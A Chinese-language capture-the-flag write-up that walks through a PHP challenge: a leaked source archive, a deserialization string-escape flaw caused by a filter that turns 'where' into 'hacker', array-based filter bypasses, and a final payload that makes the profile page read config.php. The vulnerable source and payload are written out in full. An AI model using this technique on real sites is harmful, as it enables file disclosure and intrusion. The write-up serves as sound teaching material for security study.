源码泄露
第一步是用扫描工具扫描到www.zip文件,获得网站源码。
看到网站目录结构。打开config.php发现有flag,所以我们的目的就是如何读取这个config.php
随便注册个号进去
这里就是注入点,之后会提到。
读源码
用代码审计工具发现几个要点,我们进去看看。
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
这里就是重点代码了,以及核心处理代码class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
在这个地方有文件读取的地方,如果$profile[‘photo’]的值为config.php那么就可以读取到flag。
在过滤的时候如果遇到where会换成hacker。这里是5个字符变成了6个字符,这里就可以逃逸了。之前做过字符变少的情况,这次字符变多的情况是不太一样的。这里就要利用到序列化的拼接+伪造,对nickname参数攻击,比如该序列化字符串:
a:3:{s:4:"dddd";s:6:"ddddhm";}
我们在dddd的地方输入 dddd";s:10:“buhaobuhao”;} 就变成了:
a:3:{s:25:"dddd";s:10:"buhaobuhao";}";s:6:"ddddhm";}
但是相应的,dddd前面的字符串长度也变了,变成25了,所以这里会报错。我们就要想办法把dddd变成25位长度,还差21位。
那么我们dddd这这个位置的字符变长21个不就好了吗?
这里对应这道题是把21个where换成hacker就行了。
但是这道题要换34个。
nickname[]=where";}s:5:"photo";s:10:"config.php";}
注意有34个where,这里就可以让后面34个字符逃逸出来,让photo等于config.php,然后让原本的photo作废。
因为对nickname有一次过滤
这个过滤可以用数组绕过。
这里有张标可供参考
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
因为是数组,所以最终payload前多一个}
这里举个例子
这里可以看到数组和变量序列化的结果是不一样的。
最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
bp抓包发一下进去得到base64解码得到flag。
详细参考https://blog.csdn.net/qq_43622442/article/details/105751356